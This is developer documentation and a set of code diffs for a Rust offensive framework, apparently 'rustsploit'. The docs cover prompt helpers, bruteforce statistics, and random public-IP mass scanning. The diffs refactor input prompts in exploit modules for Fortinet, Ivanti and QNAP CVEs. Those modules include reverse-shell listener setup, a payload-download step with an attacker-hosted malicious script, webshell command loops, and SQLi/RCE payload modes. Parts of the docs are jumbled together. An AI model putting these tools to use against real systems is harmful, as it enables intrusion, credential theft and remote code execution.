| `msg` | `&str` | Interactive prompt message |
**Errors** in API mode if key is missing (required field).
---
#### `cfg_prompt_int_range(key, msg, default, min, max) → Result<i64>`
Integer prompt with range validation.
```rust
use crate::utils::cfg_prompt_int_range;
let threads = cfg_prompt_int_range("threads", "Number of threads", 10, 1, 100)?;
let delay = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 50, 0, 60000)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `i64` | Default value |
| `min` | `i64` | Minimum allowed value |
| `max` | `i64` | Maximum allowed value |
---
#### `cfg_prompt_default(key, msg, default) → Result<String>`
Generic string prompt with a default value.
```rust
use crate::utils::cfg_prompt_default;
let method = cfg_prompt_default("http_method", "HTTP method", "GET")?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `&str` | Default value when empty |
---
#### `cfg_prompt_port(key, msg, default) → Result<u16>`
Port number prompt. Validates range 165535.
```rust
use crate::utils::cfg_prompt_port;
let port = cfg_prompt_port("port", "Target port", 22)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `u16` | Default port number |
---
#### `cfg_prompt_output_file(key, msg, default) → Result<String>`
Output filename prompt. **Forces basename only** — strips any directory path to prevent traversal. Rejects hidden files (starting with `.`) and filenames over 255 chars.
```rust
use crate::utils::cfg_prompt_output_file;
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
// output is guaranteed to be a safe basename like "results.txt"
```
---
## Prompt Helpers
### Complete Module Integration Example
All prompts use `read_safe_input` internally, which enforces `MAX_COMMAND_LENGTH`, strips null bytes, and warns on suspicious patterns without blocking.
| Function | Description |
|----------|-------------|
| `prompt_input(msg)` | Generic string input (empty allowed) |
| `prompt_required(msg)` | String input — loops until non-empty |
| `prompt_default(msg, default)` | String input with fallback default |
| `prompt_yes_no(msg, default)` | Boolean prompt — returns `bool` |
| `prompt_port(msg, default)` | Port number prompt — validates 165535 |
Here's a typical module using all the core utils together:
```rust
use crate::utils::{prompt_input, prompt_required, prompt_default, prompt_yes_no, prompt_port};
use crate::utils::{
load_lines, normalize_target,
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_default, cfg_prompt_port, cfg_prompt_output_file,
};
let host = prompt_required("Target host: ")?;
let port = prompt_port("Port", 22)?;
let verbose = prompt_yes_no("Verbose output?", false)?;
```
pub async fn run(target: &str) -> anyhow::Result<()> {
let target = normalize_target(target)?;
---
// Gather config — works in both shell and API mode
let port = cfg_prompt_port("port", "Target port", 22)?;
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 100)? as usize;
let delay = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 60000)? as u64;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
## Module Discovery
// Load wordlists
let users = load_lines(&user_file)?;
let passwords = load_lines(&pass_file)?;
| Function | Description |
|----------|-------------|
| `module_exists(name)` | Check if a module name is registered |
| `list_all_modules()` | Returns all registered module paths |
| `find_modules(keyword)` | Fuzzy search modules by keyword |
Used by the shell's `modules`, `find`, and `use` commands. Also used for fuzzy match suggestions (e.g., `sample_xploit``sample_exploit`).
---
## File Helpers
When reading files in modules, follow this pattern:
```rust
use std::path::Path;
fn safe_read_file(path: &str) -> Result<String> {
// 1. Check for traversal
if path.contains("..") {
return Err(anyhow!("Path traversal detected"));
}
// 2. Canonicalize
let real = Path::new(path).canonicalize()?;
// 3. Check size
let meta = std::fs::metadata(&real)?;
if meta.len() > MAX_FILE_SIZE {
return Err(anyhow!("File too large"));
}
// 4. Skip symlinks
if meta.file_type().is_symlink() {
return Err(anyhow!("Symlinks not allowed"));
}
Ok(std::fs::read_to_string(real)?)
println!("[*] Targeting {} with {} users × {} passwords", target, users.len(), passwords.len());
// ... bruteforce logic ...
Ok(())
}
```
---
## `crate::modules::creds::utils` — Credential Module Utilities
Import path:
```rust
use crate::modules::creds::utils::{
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
};
```
---
### `BruteforceStats`
Thread-safe statistics tracker for bruteforce modules. Uses atomics for counters and a `Mutex<HashMap>` for error categorization. Create one per module run and share via `Arc`.
```rust
use std::sync::Arc;
use crate::modules::creds::utils::BruteforceStats;
let stats = Arc::new(BruteforceStats::new());
// In each worker task:
let stats = Arc::clone(&stats);
tokio::spawn(async move {
match attempt_login(&host, &user, &pass).await {
Ok(true) => stats.record_success(),
Ok(false) => stats.record_failure(),
Err(e) => stats.record_error(format!("{}", e)).await,
}
// Show live progress (prints inline with \r)
stats.print_progress();
});
// After all tasks complete:
stats.print_final().await;
```
#### Methods
| Method | Async | Description |
|--------|-------|-------------|
| `BruteforceStats::new()` | No | Create a new stats tracker (starts the timer) |
| `.record_success()` | No | Increment total + successful counters |
| `.record_failure()` | No | Increment total + failed counters |
| `.record_error(msg)` | **Yes** | Increment total + error counters, log error message |
| `.record_retry()` | No | Increment retry counter |
| `.print_progress()` | No | Print inline progress bar (`\r` overwrite) |
| `.print_final()` | **Yes** | Print full statistics summary with top 5 errors |
---
### `is_subnet_target(target) → bool`
Check if a target string is CIDR notation (e.g., `192.168.8.0/21`). Use this to branch between single-host and subnet-scan logic.
```rust
use crate::modules::creds::utils::is_subnet_target;
if is_subnet_target(&target) {
// Iterate subnet
} else {
// Single host
}
```
---
### `parse_subnet(target) → Result<IpNetwork>`
Parse a CIDR string into an `ipnetwork::IpNetwork`. **Does NOT allocate a Vec** — callers iterate lazily with `.iter()`, making it safe for any prefix size (`/0` through `/32`).
```rust
use crate::modules::creds::utils::parse_subnet;
let network = parse_subnet("192.168.1.0/24")?;
for ip in network.iter() {
println!("Scanning {}", ip);
}
```
---
### `subnet_host_count(net) → u128`
Returns the number of host IPs in a network. Useful for progress display and ETA calculations.
```rust
use crate::modules::creds::utils::{parse_subnet, subnet_host_count};
let net = parse_subnet("10.0.0.0/8")?;
println!("Scanning {} hosts", subnet_host_count(&net));
// → "Scanning 16777216 hosts"
```
---
### `generate_random_public_ip(exclusions) → IpAddr`
Generates a random IPv4 address that is **not** in any excluded range. Automatically skips `10.x.x.x`, `127.x.x.x`, and `0.x.x.x` in addition to the provided exclusion list. Used by mass-scanning modules (Camxploit, etc.).
```rust
use crate::modules::creds::utils::{generate_random_public_ip, parse_exclusions};
let exclusions = parse_exclusions(&[
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"100.64.0.0/10", // CGNAT
"224.0.0.0/4", // Multicast
]);
let ip = generate_random_public_ip(&exclusions);
println!("Random target: {}", ip);
```
---
### `parse_exclusions(cidrs) → Vec<IpNetwork>`
Parses an array of CIDR strings into `IpNetwork` objects for use with `generate_random_public_ip`. Invalid CIDRs are silently skipped.
```rust
use crate::modules::creds::utils::parse_exclusions;
let excluded = parse_exclusions(&["10.0.0.0/8", "192.168.0.0/16", "not-valid"]);
// excluded.len() == 2 (invalid entry silently dropped)
```
---
### `is_ip_checked(ip, state_file) → bool` / `mark_ip_checked(ip, state_file)`
Persistent scan-state tracking. Prevents re-scanning the same IP across multiple runs by writing `checked: <ip>` lines to a state file.
```rust
use crate::modules::creds::utils::{is_ip_checked, mark_ip_checked};
let state_file = "mqtt_cidr_results.txt";
for ip in network.iter() {
if is_ip_checked(&ip, state_file).await {
continue; // Already scanned
}
// ... scan the IP ...
mark_ip_checked(&ip, state_file).await;
}
```
| Function | Async | Description |
|----------|-------|-------------|
| `is_ip_checked(ip, state_file)` | **Yes** | Returns `true` if IP was previously marked. Creates the state file if missing. |
| `mark_ip_checked(ip, state_file)` | **Yes** | Appends `checked: <ip>` to the state file. |
> **Note:** Both functions accept any type implementing `ToString` for the IP parameter.
---
## Complete Credential Module Example
Putting both utility modules together in a real bruteforce module:
```rust
use std::sync::Arc;
use crate::utils::{
load_lines, normalize_target,
cfg_prompt_port, cfg_prompt_existing_file,
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
};
use crate::modules::creds::utils::{
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
};
pub async fn run(target: &str) -> anyhow::Result<()> {
let target = normalize_target(target)?;
let port = cfg_prompt_port("port", "Target port", 1883)?;
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 200)? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose?", false)?;
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
let users = load_lines(&user_file)?;
let passwords = load_lines(&pass_file)?;
let stats = Arc::new(BruteforceStats::new());
if is_subnet_target(&target) {
let network = parse_subnet(&target)?;
println!("[*] Subnet scan: {} hosts", subnet_host_count(&network));
for ip in network.iter() {
if is_ip_checked(&ip, &output).await { continue; }
// ... bruteforce ip ...
mark_ip_checked(&ip, &output).await;
}
} else {
// ... single host bruteforce ...
}
stats.print_final().await;
Ok(())
}
```
---
## `crate::config` — Framework Configuration
Import path:
```rust
use crate::config::{
GLOBAL_CONFIG, GlobalConfig, TargetConfig,
ModuleConfig, get_module_config, set_module_config, clear_module_config,
results_dir,
};
```
---
### `GLOBAL_CONFIG` (static `GlobalConfig`)
Thread-safe singleton that holds the current target. Set by the shell (`set target`) or CLI (`--target`). Module code reads it but rarely needs to write to it.
```rust
use crate::config::GLOBAL_CONFIG;
// Check if a target is set
if !GLOBAL_CONFIG.has_target() {
println!("No target set!");
return Ok(());
}
// Read the target as a string
let target = GLOBAL_CONFIG.get_target().unwrap();
println!("Targeting: {}", target);
```
#### `GlobalConfig` Methods
| Method | Returns | Description |
|--------|---------|-------------|
| `.set_target(target)` | `Result<()>` | Set global target (IP, hostname, or CIDR). Validates input. |
| `.get_target()` | `Option<String>` | Get the target as a display string |
| `.get_single_target_ip()` | `Result<String>` | Get single IP; for subnets returns the network address |
| `.has_target()` | `bool` | Check if any target is set |
| `.is_subnet()` | `bool` | `true` if the target is a CIDR subnet |
| `.get_target_subnet()` | `Option<IpNetwork>` | Returns the `IpNetwork` if target is a subnet |
| `.get_target_size()` | `Option<u64>` | Number of IPs (1 for single, 2^(32-prefix) for subnets) |
| `.clear_target()` | `()` | Unset the target |
#### `TargetConfig` Enum
```rust
use crate::config::TargetConfig;
pub enum TargetConfig {
Single(String), // Single IP or hostname
Subnet(IpNetwork), // CIDR subnet
}
```
---
### `ModuleConfig` & API Prompt Keys
`ModuleConfig` bridges modules to the API. When the API server receives a `/api/run` request, it populates a `ModuleConfig` with the JSON `"prompts"` object. The `cfg_prompt_*` functions in `utils.rs` read these values instead of prompting stdin.
#### Struct Fields
```rust
pub struct ModuleConfig {
pub port: Option<u16>,
pub username_wordlist: Option<String>,
pub password_wordlist: Option<String>,
pub concurrency: Option<usize>,
pub stop_on_success: Option<bool>,
pub save_results: Option<bool>,
pub output_file: Option<String>,
pub verbose: Option<bool>,
pub combo_mode: Option<bool>,
pub custom_prompts: HashMap<String, String>, // ← cfg_prompt_* reads from here
pub api_mode: bool, // ← prevents stdin fallback
}
```
#### Helper Functions
| Function | Description |
|----------|-------------|
| `get_module_config()` | Get a clone of the current config (safe to call from any module) |
| `set_module_config(config)` | Set the config (called by API server before module execution) |
| `clear_module_config()` | Reset to defaults (called after module execution) |
```rust
use crate::config::get_module_config;
let config = get_module_config();
if config.api_mode {
// Running via API — don't expect stdin
}
if let Some(port) = config.port {
// Use pre-configured port
}
```
#### Standardized API Prompt Keys
When building API requests, use these standardized keys in the `"prompts"` JSON object:
**Common keys (most modules):**
| Key | Type | Description |
|-----|------|-------------|
| `port` | u16 | Target service port |
| `timeout` | int | Connection timeout (seconds or ms) |
| `verbose` | y/n | Verbose output |
| `save_results` | y/n | Save results to file |
| `output_file` | string | Output filename |
| `concurrency` | int | Concurrent threads/tasks |
| `threads` | int | Alias for concurrency |
| `wordlist` | path | Path to wordlist file |
| `target_file` | path | File containing targets |
| `mode` | string | Operation mode (1, 2, 3, etc.) |
**Scanner-specific keys** (see full list in `config.rs` doc comments):
- Port Scanner: `port_range`, `scan_method`, `show_only_open`
- Dir Brute: `scan_mode`, `delay_ms`, `random_agent`, `use_https`
- Sequential Fuzzer: `min_length`, `max_length`, `charset`, `encoding`
- API Endpoint Scanner: `output_dir`, `use_spoofing`, `enable_delete`, `modules`
---
### `results_dir() → PathBuf`
Returns `~/.rustsploit/results/`, creating it if needed. Use this when saving module output in API mode.
```rust
use crate::config::results_dir;
let out_path = results_dir().join("scan_output.txt");
std::fs::write(&out_path, results)?;
```
---
## Constants
| Constant | Value | File |
|----------|-------|------|
| `MAX_FILE_SIZE` | 10 MB | `utils.rs` |
| `MAX_PROXIES` | 100,000 | `utils.rs` |
| `MAX_COMMAND_LENGTH` | (see source) | `utils.rs` |
| Constant | Value | Purpose |
|----------|-------|---------|
| `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
| `MAX_MODULE_PATH_LENGTH` | 512 | Maximum module path length |
| `MAX_COMMAND_LENGTH` | 8192 | Maximum command/input length |
| `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `MAX_DEPTH` | 6 | Maximum module discovery depth |
| `MAX_HOSTNAME_LENGTH` | 253 | Maximum hostname length (config.rs) |
---
## Extending Utils
Add new reusable helpers to `utils.rs` rather than copy-pasting into individual modules. Common candidates:
- Credential loaders (stream a wordlist in chunks)
Add new reusable helpers to `utils.rs`, `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
- HTTP header templates
- Response fingerprinting helpers
- Common error formatters
- Credential loaders with streaming support
@@ -37,8 +37,8 @@ use colored::*;
use reqwest::Client;
use serde::Deserialize;
use serde_json::json;
use std::io::Write;
use std::time::Duration;
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_port, cfg_prompt_yes_no};
const FORTICLOUD_AUTH_URL: &str = "https://customerapiauth.fortinet.com/api/v1/auth/token";
const DEFAULT_PORT: u16 = 443;
@@ -97,11 +97,7 @@ fn get_user_config(target: &str) -> Result<ExploitConfig> {
// Target
config.target = if target.is_empty() {
print!("{}", "Enter target IP/hostname: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let t = input.trim().to_string();
let t = cfg_prompt_required("target", "Target IP/hostname")?;
if t.is_empty() {
bail!("Target is required");
}
@@ -110,77 +106,38 @@ fn get_user_config(target: &str) -> Result<ExploitConfig> {
target.to_string()
};
let mut input = String::new();
// Port
print!("{}", format!("Target port [default: {}]: ", DEFAULT_PORT).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if let Ok(p) = input.trim().parse::<u16>() {
config.port = p;
}
config.port = cfg_prompt_port("port", "Target port", DEFAULT_PORT)?;
// FortiCloud username
print!("{}", "FortiCloud username (attacker account): ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let username = input.trim().to_string();
let username = cfg_prompt_required("forticloud_username", "FortiCloud username (attacker account)")?;
if username.is_empty() {
bail!("FortiCloud username is required");
}
config.forticloud_username = username;
// FortiCloud password
print!("{}", "FortiCloud password: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let password = input.trim().to_string();
let password = cfg_prompt_required("forticloud_password", "FortiCloud password")?;
if password.is_empty() {
bail!("FortiCloud password is required");
}
config.forticloud_password = password;
// Serial number (optional)
print!("{}", "Target device serial number [default: FGT80ETK21000000]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if !input.trim().is_empty() {
config.serial_number = input.trim().to_string();
}
config.serial_number = cfg_prompt_default("serial_number", "Target device serial number", "FGT80ETK21000000")?;
// Check only mode
print!("{}", "Check only (no exploitation)? [y/N]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
config.check_only = input.trim().eq_ignore_ascii_case("y");
config.check_only = cfg_prompt_yes_no("check_only", "Check only (no exploitation)?", false)?;
// Reverse shell (if not check only)
if !config.check_only {
print!("{}", "Setup reverse shell connection? [y/N]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let setup_shell = cfg_prompt_yes_no("setup_shell", "Setup reverse shell connection?", false)?;
if input.trim().eq_ignore_ascii_case("y") {
print!("{}", "Listener IP: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
config.shell_ip = Some(input.trim().to_string());
if setup_shell {
let shell_ip = cfg_prompt_required("shell_ip", "Listener IP")?;
config.shell_ip = Some(shell_ip);
print!("{}", "Listener port [default: 4444]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
config.shell_port = Some(match input.trim().parse::<u16>() {
Ok(p) => p,
Err(_) => 4444,
});
config.shell_port = Some(cfg_prompt_port("shell_port", "Listener port", 4444)?);
}
}
@@ -431,11 +388,8 @@ async fn run_exploit(config: &ExploitConfig) -> Result<()> {
// Step 1: Check target
let is_fortinet = check_vulnerable(&client, config).await?;
if !is_fortinet {
print!("{}", "[?] Target may not be a Fortinet device. Continue? [y/N]: ".yellow());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if !input.trim().eq_ignore_ascii_case("y") {
let cont = cfg_prompt_yes_no("continue_anyway", "Target may not be a Fortinet device. Continue?", false)?;
if !cont {
println!("{}", "[-] Aborted.".red());
return Ok(());
}
@@ -3,7 +3,7 @@ use colored::*;
use reqwest::Client;
use serde_json::Value;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target};
use crate::utils::{cfg_prompt_required, normalize_target};
/// FortiOS/FortiProxy/FortiSwitchManager Auth Bypass (CVE-2022-40684)
///
@@ -21,7 +21,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target URL
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
cfg_prompt_required("target", "Target IP")?
} else {
target.to_string()
};
@@ -2,7 +2,7 @@ use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target};
use crate::utils::{cfg_prompt_required, normalize_target};
/// FortiOS SSL VPN Path Traversal (CVE-2018-13379)
///
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target URL
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
cfg_prompt_required("target", "Target IP")?
} else {
target.to_string()
};
@@ -6,7 +6,7 @@ use tokio_rustls::rustls::{ClientConfig, RootCertStore, pki_types::ServerName};
use tokio_rustls::TlsConnector;
use std::sync::Arc;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default, prompt_port};
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_default, cfg_prompt_port};
/// FortiSIEM Unauthenticated RCE (CVE-2025-64155)
///
@@ -20,7 +20,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
cfg_prompt_required("target", "Target IP")?
} else {
target.to_string()
};
@@ -35,8 +35,8 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", "It overwrites /opt/charting/redishb.sh on the target.".red());
println!("{}", "It executes a command via curl argument injection.".red());
let lhost = prompt_default("LHOST (Your IP) for payload download", "127.0.0.1")?;
let lport = prompt_port("LPORT (Your Web Server Port)", 8000)?;
let lhost = cfg_prompt_default("lhost", "LHOST (Your IP) for payload download", "127.0.0.1")?;
let lport = cfg_prompt_port("lport", "LPORT (Your Web Server Port)", 8000)?;
let filename = "redishb.sh";
println!("{} Ensure you are hosting a malicious '{}' at http://{}:{}/{}", "[*]".yellow(), filename, lhost, lport, filename);
@@ -4,7 +4,7 @@ use reqwest::Client;
use serde_json::json;
use std::time::Duration;
use urlencoding::encode;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_default};
/// FortiWeb Authenticated OS Command Injection (CVE-2021-22123)
///
@@ -19,7 +19,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target URL
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
cfg_prompt_required("target", "Target IP")?
} else {
target.to_string()
};
@@ -29,8 +29,8 @@ pub async fn run(target: &str) -> Result<()> {
println!("{} Target: {}", "[*]".blue(), base_url);
// Credentials
let username = prompt_default("Username", "admin")?;
let password = prompt_required("Password")?;
let username = cfg_prompt_default("username", "Username", "admin")?;
let password = cfg_prompt_required("password", "Password")?;
// Connect and Login (to get token/cookies)
// Note: FortiWeb login process usually involves /api/v2/token or similar
@@ -71,7 +71,7 @@ pub async fn run(target: &str) -> Result<()> {
}
// Payload
let cmd = prompt_default("Command to execute", "id")?;
let cmd = cfg_prompt_default("command", "Command to execute", "id")?;
// We need to inject command in `server-name` inside backticks
// Example: `id`
@@ -27,13 +27,14 @@ use crate::modules::creds::utils::generate_random_public_ip;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::Write;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use chrono::Local;
use crate::utils::normalize_target;
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no};
const DEFAULT_TIMEOUT_SECS: u64 = 15;
const MASS_SCAN_CONCURRENCY: usize = 100;
@@ -311,11 +312,7 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let excl_choice = cfg_prompt_default("exclude_reserved", "Exclude reserved/private ranges? [Y/n]", "Y")?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
@@ -328,25 +325,9 @@ async fn run_mass_scan() -> Result<()> {
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: fortiweb_hits.txt): ".cyan());
std::io::stdout().flush()?; // Use std::io for flush/read
let mut outfile = String::new();
std::io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "fortiweb_hits.txt" } else { outfile };
let outfile = outfile.to_string();
let outfile = cfg_prompt_default("output_file", "Output File", "fortiweb_hits.txt")?;
// Prompt for Payload Mode
println!("{}", "[?] Select Payload Mode:".cyan());
println!(" 1. Standard SQLi Check (Safe)");
println!(" 2. Unsafe RCE Verification (Full Rewrite)");
println!(" 3. Aggressive Probe (Top 10 Payloads)");
println!(" 4. Custom Injection String");
print!("{}", "Select option [1-4] (default 1): ".cyan());
std::io::stdout().flush()?;
let mut mode_str = String::new();
std::io::stdin().read_line(&mut mode_str)?;
let mode_str = cfg_prompt_default("scan_mode", "Select payload mode [1-4]", "1")?;
let mode = match mode_str.trim() {
"2" => ScanMode::UnsafeRCE,
"3" => ScanMode::AggressiveProbe,
@@ -356,10 +337,7 @@ async fn run_mass_scan() -> Result<()> {
let mut custom_payload = String::new();
if let ScanMode::CustomInjection = mode {
print!("{}", "[?] Enter Custom SQLi Payload: ".cyan());
std::io::stdout().flush()?;
std::io::stdin().read_line(&mut custom_payload)?;
custom_payload = custom_payload.trim().to_string();
custom_payload = cfg_prompt_required("custom_payload", "Custom SQLi Payload")?;
}
let custom_payload = Arc::new(custom_payload);
@@ -432,15 +410,6 @@ async fn run_mass_scan() -> Result<()> {
}
fn prompt_input_std(msg: &str) -> Result<String> {
print!("{}", msg);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
@@ -457,7 +426,7 @@ pub async fn run(target: &str) -> Result<()> {
println!(" {} Test SQL injection only", "3.".bold());
println!();
let choice = prompt_input_std("Select option [1-3]: ")?;
let choice = cfg_prompt_default("operation", "Select option [1-3]", "1")?;
match choice.as_str() {
"1" => {
@@ -466,8 +435,8 @@ pub async fn run(target: &str) -> Result<()> {
"{}",
"[!] WARNING: This will write files to the target system!".yellow().bold()
);
let confirm = prompt_input_std("Continue? [y/N]: ")?;
if !confirm.eq_ignore_ascii_case("y") {
let confirm = cfg_prompt_yes_no("confirm_exploit", "This will write files to the target system. Continue?", false)?;
if !confirm {
println!("{}", "[-] Operation cancelled.".red());
return Ok(());
}
@@ -490,10 +459,10 @@ pub async fn run(target: &str) -> Result<()> {
// Interactive command loop
println!();
let interactive = prompt_input_std("Enter interactive mode? [y/N]: ")?;
if interactive.eq_ignore_ascii_case("y") {
let interactive = cfg_prompt_yes_no("interactive", "Enter interactive mode?", false)?;
if interactive {
loop {
let cmd = prompt_input_std("cmd> ")?;
let cmd = cfg_prompt_default("cmd", "cmd>", "")?;
if cmd.is_empty() || cmd == "exit" || cmd == "quit" {
break;
}
@@ -510,7 +479,7 @@ pub async fn run(target: &str) -> Result<()> {
"2" => {
// Direct command execution (assumes webshell already deployed)
println!();
let cmd = prompt_input_std("Enter command to execute: ")?;
let cmd = cfg_prompt_required("command", "Command to execute")?;
if cmd.is_empty() {
return Err(anyhow!("Command cannot be empty"));
}
@@ -3,7 +3,7 @@ use colored::*;
use reqwest::Client;
use std::time::Duration;
use serde_json::Value;
use crate::utils::{prompt_required, normalize_target};
use crate::utils::{cfg_prompt_required, normalize_target};
/// Ivanti EPMM Authentication Bypass (CVE-2023-35082 & CVE-2023-35078)
///
@@ -17,7 +17,7 @@ pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP")?
cfg_prompt_required("target", "Target IP")?
} else {
target.to_string()
};
@@ -2,7 +2,7 @@ use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_default};
use urlencoding;
/// QNAP QTS NAS Buffer Overflow RCE (CVE-2024-27130)
@@ -17,7 +17,7 @@ pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP/URL")?
cfg_prompt_required("target", "Target IP/URL")?
} else {
target.to_string()
};
@@ -32,13 +32,13 @@ pub async fn run(target: &str) -> Result<()> {
println!("{} Target: {}", "[*]".blue(), base_url);
// SSID is required - this is the session ID from a share link
let ssid = prompt_required("SSID (from shared file link)")?;
let ssid = cfg_prompt_required("ssid", "SSID (from shared file link)")?;
// The payload goes in the 'name' parameter
// For PoC purposes, we'll demonstrate the vulnerability check
// A real exploit would require crafting shellcode for the specific platform
let payload_size = prompt_default("Payload size (for buffer overflow test)", "1024")?;
let payload_size = cfg_prompt_default("payload_size", "Payload size (for buffer overflow test)", "1024")?;
let size: usize = payload_size.parse().unwrap_or(1024);
println!("{} Sending overflow test payload ({} bytes)...", "[*]".blue(), size);
@@ -2,7 +2,7 @@ use anyhow::{anyhow, Context, Result};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_default, prompt_required, normalize_target};
use crate::utils::{cfg_prompt_default, cfg_prompt_required, normalize_target};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
@@ -14,7 +14,7 @@ pub async fn run(target: &str) -> Result<()> {
// Normalize target URL
let base_url = if target.is_empty() {
prompt_required("Target URL (e.g., http://192.168.1.100)")?
cfg_prompt_required("target", "Target URL (e.g., http://192.168.1.100)")?
} else {
normalize_target(target)?
};
@@ -39,7 +39,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("2. Execute Custom Command");
println!("3. Exit");
let choice = prompt_default("Select option", "1")?;
let choice = cfg_prompt_default("mode", "Select option", "1")?;
match choice.as_str() {
"1" => check_vulnerability(&client, &base_url).await?,
@@ -72,7 +72,7 @@ async fn check_vulnerability(client: &Client, target: &str) -> Result<()> {
}
async fn exploit_command(client: &Client, target: &str) -> Result<()> {
let cmd = prompt_required("Enter command to execute")?;
let cmd = cfg_prompt_required("command", "Enter command to execute")?;
if cmd.is_empty() {
return Ok(());
@@ -2,7 +2,7 @@ use anyhow::{Context, Result};
use colored::*;
use tokio::net::TcpStream;
use byteorder::{BigEndian, LittleEndian, WriteBytesExt};
use crate::utils::{prompt_default, prompt_required, prompt_port, prompt_yes_no, normalize_target};
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
const DEFAULT_PORT: u16 = 20001;
